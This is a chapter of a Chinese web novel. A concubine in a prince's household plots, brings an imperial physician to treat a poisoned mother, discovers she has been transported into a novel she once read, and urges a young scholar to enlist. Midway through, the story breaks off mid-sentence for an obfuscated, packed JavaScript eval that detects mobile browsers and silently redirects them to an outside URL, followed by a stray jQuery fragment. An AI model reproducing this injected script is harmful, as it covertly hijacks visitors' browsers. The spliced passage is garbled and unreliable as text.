“……是,是陈良娣……她,她……,她有孕了。”
有孕?
虞韶意外,笑了起来:“有孕这是好事啊,看把你吓得。”
丫鬟看到虞韶高兴而不是嫉妒,也是松了口气,跟着笑了起来:“良媛你真是大度,宣良娣她很生气呢。”
“她生气我也没办法,谁让她怀不上。”虞韶挥了挥手,问对方知道宋璞在哪里不,丫鬟应着:“若是没有走,应该还在陈良媛的院子里。”
“哟,看来这消息是刚出来的啊。”虞韶一听,转身就去了陈茵茵的院子里。
陈茵茵躺在床上,看到虞韶来,她浑身戒备,柔弱的望着宋璞,满眼哀求:“殿下!”
宋璞正高兴着,这才想起了虞韶曾经打过陈茵茵,也眼含警惕的望着虞韶。
虞韶失笑,对着床上的陈茵茵道:“你可真是不放过给我穿小鞋的机会啊,把你这可怜无助的样子收起来。”
她转头对着宋璞道:“恭喜殿下啊,我来是想问你要个名帖,去请一个太医院的太医出来看病,可不是知道你的爱妾有孕后跑来闹事的,我再怎么粗俗,也不会对一个孕妇动手。”
宋璞一想,虞韶平时也不会在府里,现在正忙,赶紧把人打发了才好,对她道:“让皇妃帮你请吧。”说着看着三皇妃,三皇妃点了点头,叫虞韶跟她走。
去墨香院的时候,虞韶看三皇妃神色平常,也没说什么安慰的话,问起了征西侯的情况。
三皇妃回答了,虞韶做了判断:能惹的起。
三皇妃还以为虞韶生病了,问清了情况,写着帖子,对虞韶道:“你说的这个情况,我看去请元太医最合适。他虽然比起其他太医来没有多少名气,对于疑难杂症却是最为精通。”
虞韶并不懂这个,当然是三皇妃说什么她听着。
看着三皇妃在帖子上用了印,她谢过三皇妃,叫她身边侍候的人都下去。
丫鬟望着三皇妃,三皇妃挥了手,让她们下去了。
“我觉得,陈良媛这个孩子啊,有可能生不出来。”虞韶对三皇妃道。
三皇妃吃了一惊,莞尔笑了:“这话可不能对别人乱说,被人听到了,真要是有什么意外,先是怀疑你了。”
“这个我自然知道,”虞韶点头,给三皇妃分析,“太子跟殿下不合,殿下既然能身子不适,别人怕是不会让殿下这个孩子生出来。”
反正上一辈子,宋璞也没有儿子。不知道是陈茵茵这个孩子没有生下来,还是根本就没有怀过。
“这个我晓得,一定会让人小心看护。”三皇妃点头。
看她这平静的样子,虞韶想着她到底是正妻,怕是对宋璞多有期望,心下应该难受。
可她身体不好,处在这个位置,也没办法,还是小声道:
“陈茵茵这女人歪心思多,也不知道她是真怀孕了还是假怀孕的,殿下身子你知道,她这时真怀上也不知道是不是吃了什么药才怀上的,你可得小心她‘不小心小月了’,将责任推在你身上陷害你。”
只要不是蠢的,听了虞韶的话都觉得这像是挑拨离间,让三皇妃防备人,不过三皇妃感觉到了虞韶的真心,点头:“我知道了。”
虞韶想起了她院子里的三红,本来还想提醒一下宋璞他府里有太子的人,后来一想陈茵茵出了事关她屁事,就只对三皇妃道:“你告诉殿下,府里可能有太子的人。”
“好。”这个事,三皇妃也猜到过,跟宋璞隐晦的提起过,宋璞不太信,持怀疑态度。
虞韶走了,去元太医府上请人,刚好元太医没在宫里当值,在家里,就跟她走了。
原以为请人至少也要一两天,没想到当天就请到了,虞韶没有问晁隐住在哪里,就去了他铺子里。
一看到虞韶真请了人来,晁隐惊喜极了,连忙带人回家。
他没有车,又想问虞韶元太医的爱好性格这些好讨好对方,坐的是虞韶的车,很是不好意思。
路上时,竟然从征西侯门口过,虞韶有些意外,没想到车没走多久就停下来了,从一个角门进去。
虞韶这才明白,晁隐竟然是住在征西侯府上的,更加诧异了:她还以为晁隐和征相侯有过节,原来他是征西侯府的人,家事的纠缠更不好处理了。
她奇怪的望着晁隐,晁隐只是低着头,躲避着虞韶的目光。
“面对别人的目光要坦然一点,不管你是因为什么原因住在征西侯府里,却跟征西侯有过节,其实别人并不怎么在意。”虞韶直言,觉得晁隐还是太年轻了。
晁隐沉默着,过了一会儿才点了点头。
等下了车,到了一个院子里,进去后虞韶发现并不是什么破败的小院子,而是一个很大却很萧条的院子。
见了晁隐母亲,果然是个病美人,难怪晁隐能长那么漂亮,可见遗传了他母亲的美貌。
元太医把了脉后,询问吃过什么药,请过什么大夫,思量良久才道:“这病症我也没有见过,只能开一些药缓解。”
晁隐很是失望,安慰母亲。
接了药方后,把人送出了府去,虞韶却没有叫他下车,一直送太医回了家。
到了太医家里,虞韶才问太医晁隐母亲的真实病情:“我觉得你在征西侯府里的时候神色不对,晁隐他母亲的病怕是另有隐情?”
晁隐很吃惊,转头看元太医,元太医沉吟着,不知道该不该说,在晁隐的追问下,才说了出来。
原来晁隐母亲可能中了毒,平时吃的那些药也没多大效果,就是死贵,费钱。
由此可见,连晁隐请的有名的大夫都被买通了,可见其中有很多机巧。
“这是你们府上的恩怨,我本不想沾染。”太医总结。
晁隐从来没想到真相竟然会是这样,想着自己花掉无数的银子,积蓄一空,母亲的病却好不了,心下感激虞韶看破了事情才让他知道真相,连忙跪下求元太医。
元太医说:“我先不告诉你,再有一点就是你母亲不可能轻易从府里搬出去住吧,那就算换了大夫换了药怕是也没办法。”
晁隐沉默,觉得的确是如此。但他不能失去母亲,怎么样都会劝她搬出府去。
道:“我会让娘搬出去住,求元太医救她。”
元太医开了一个方子,对着晁隐道:“这是瀛洲土方,药材大都常见,不过这药引千丝草,却是要阴年阴月阴日阴时出生的女性在夏至那天用尿液浇灌种子催发生芽长成的才有效,很不好找。”
晁隐认真的记着,虞韶却惊呆了,震惊的问元太医:“你说什么?!”
千丝草?!
要阴年阴月阴日阴时出生的女性在夏至那天用尿液浇灌种子催发生芽长成的才有效?!
这么奇葩的设定,不是她穿之前才看过的那本晋江小说里的情节吗?怎么会出现在这里?!
虞韶让元太医将话重复了一遍,才恍然明白,她这是穿书了!
若是一个瀛洲土方还能说是巧合,可是加上千丝草和“阴年阴月阴日阴时出生的女性在夏至那天用尿液浇灌种子催发生芽长成的才有效”这种奇葩设定,就不会是巧合了!
她之所以会看那本小说,是因为公司打算进军影视行业,在晋江买一本早期有名的小说来制作电视剧,她负责这一块。
那么,小说与她现在所处的时间,有什么关系呢?
原书是一本古早的小说,讲述大家出身的女主小时候在逃难时跟家人失散,跟后来成为将军的男配青梅竹马的长大,两人两情相悦,中间发生了一些狗血和误会,两人感情渐深,成婚第二天军事紧急将军就去打仗了。
打了几场胜仗后,敌方皇子以女主家人的线索将女主引出城外绑架胁迫将军退兵,结果将军为了收复失去的国土没有退军,女主就被这个皇子强了,这个皇子是男主。
嗯,内容有些狗血,虞韶不懂这么渣的男主为啥两人最后还能相爱,反正正因为狗血才有重重矛盾才有看点,在我恨你你引起了我的兴趣你攻我夺,民族家国仇恨的一系列事件里,相爱相杀的两人最后在一起了。
女主姓邵的,男主是姓千的,不过他本人是北方少数民族的,这个千是自己取的汉姓,而男配,是姓陆的。
赵国有什么权贵之家姓邵姓陆吗?
姓邵的文官不知道,姓陆的武官里里好像最出名的陆家是宋璞的外公家?
不会这个陆景是宋璞的表弟,不对,是宋璞的表侄子吧?
九年多以后国破,那个时候女主才七八岁,陆景也就九岁十岁,所以,男主现在可能还没出生或者刚出生,女主父母说不定现在还没成婚呢。
知道这些剧情以后对于虞韶来说没有任何的帮助啊!
一来等十年多以后两人长大事故发生的时候她的黄花菜早就凉了,哪怕后来陆景收复了赵国的国土赶走了侵略者立了新皇,对她来说都没有鸟用啊。
虞韶不知道这本书的世界是有世界意识的还是会自行发展,要是像小说里那样有世界意识剧情一定会按照小说情节进展的话,那京城被攻破的事根本改变不了啊。
还是要早做打算。
元太医和晁隐都有些奇怪虞韶的反应,望着她,虞韶尴尬的找话说:“这怎么看人是阴年阴月阴日出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584135|171650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生的啊,我的一个丫鬟好像说过她是这样的生辰。”
“哪个生辰?我算算。”元太医问,虞韶哪里知道丫鬟是什么生辰,只好将自己的生辰给报了出去。
元太医一听,喜道:“还真是!”
虞韶懵逼,这么巧?!果然不愧是小说世界么?
这对于不知情的晁隐来说是件好事,他惊喜的道:“不知是您的哪位丫鬟,我……”想请人帮忙的话却说不出口了,毕竟是这么害羞的事。
“……呃,你管是我哪个丫鬟!”虞韶恼道,又觉得这态度有些恼羞成怒,又解释着,“这种事让女孩子做人家不一定愿意,我可以帮你问问,不过人家答不答应那我就不知道了。”
“那谢谢您了。”晁隐连连道谢,想要让虞韶帮忙一定请她的丫鬟答应下来,却不知道这种让女孩子害羞的事怎么开口,觉得还是先等结果,不答应的话再求人帮忙。
反正他不会放弃,现在夏至已过秋至还没有到,离明年的夏至还有些日子呢,他诚心一点总会想到办法。
虞韶感觉到了晁隐的孝心,又看在他便宜卖房子给自己的份上,道:“其实她就算不答应我也有办法,有钱能使唤鬼推磨嘛,你们对这事保密,多给她点银子她也就同意了。”
“那要多少?……一百两够吗?”晁隐迟疑着问,觉得这钱或许说的低了?
虞韶:“……”你这样好说话,弄得我都想宰你了。
“不用那么多,你给个十两二十两就够了。”
晁隐原以为虞韶是想借着这件事宰他钱呢,才说要钱,没想到最多只要二十两,一下子就觉得虞韶是真心帮助自己。
他心下羞愧,觉得自己不应该把人想的那样坏,连忙点头:“那真是谢谢您了,这种事我一定会保密。”
说完,他看向了元太医。
元太医笑道:“我自然会为患者保密,这种事情也没什么拿出去好宣扬的。”
晁隐母亲的病就先让元太医开药吃着,要彻底根治要等明年了。
从元太医府上出来的时候,虞韶说:“你认识了元太医,我以后就不管了。”
“我已经非常感谢您了,怎么还能再麻烦您,要不是您……”想起母亲可能最终会被害死,晁隐的心就一阵痛,对于虞韶的感激就更重。
没想到他哥都继承了爵位,还这么恨他们母子。
“好了,不说这个了,我看你在看《尚书》,是打算科举吗?”虞韶提起了另一个话题来。
晁隐不好意思的点了点头:“我已经是个秀才了,要是能中了进士,以后就可以当官了。”
十四岁的秀才,算是有天赋了,可是:“那你十年内能考上进士当上官么?”
晁隐有些尴尬,摇了摇头:“可能不行。”乡试考个两三次考中举人,会试考两三次考中进士,已经是最快的了。
这至少也得十年了,不顺利时间更长。
晁隐学习成绩向来名列前茅,被虞韶这样一问,觉得自己有些无能,解释着:“估摸着,十年或者十三年就能考中进士了,这已经算是很快的速度了。”
虞韶摆了摆手:“考中了能有什么用?北方强大,战争不断,到时候京城都被攻破了你中了也没用啊,还不如去参军,升职快,到时候也没人能欺负。”
晁隐心里一惊,期待的问:“你也不看好求和吗?”
虞韶意外了,她还以为晁隐就算不方便跟他争,也会沉默着保留自己的意见。没想到他竟然也是主战的,对于国家形势同样不看好,于是很感兴趣的跟他谈了起来。
聊天得知,晁隐对于国家的前景,竟然跟虞韶的看法差不多。
虞韶她自己是知道以后的,晁隐却是有远见。
这让虞韶动了心思,极力鼓动着晁隐去参军:“到时候真国破了,手里有兵还可以跑啊,不然只能等着被抓了。”
晁隐并没有说什么真参军了应该为国死战,虞韶这样逃跑的想法很不对,只是道:“我考虑考虑。”
虞韶叹了一口气,知道他只是这样说说,不可能真听了她的话就弃文从武了,也不再多说,心里很是惋惜。
要是晁隐真参军了,以后说不得还能帮到她。
那么,她要找一些孤儿救助着,让他们参军吗?或者干脆去结交主战的人?
这事先放过一边,两人分开后,虞韶就回了清修庵里。
第二天铺子里的人来庵里见她,几天之中她都在了解胭脂的制作过过程,看着怎么样能改进一下。
不几天,发生了一件大事,三皇子府里的人来送东西,说是宋璞封王了!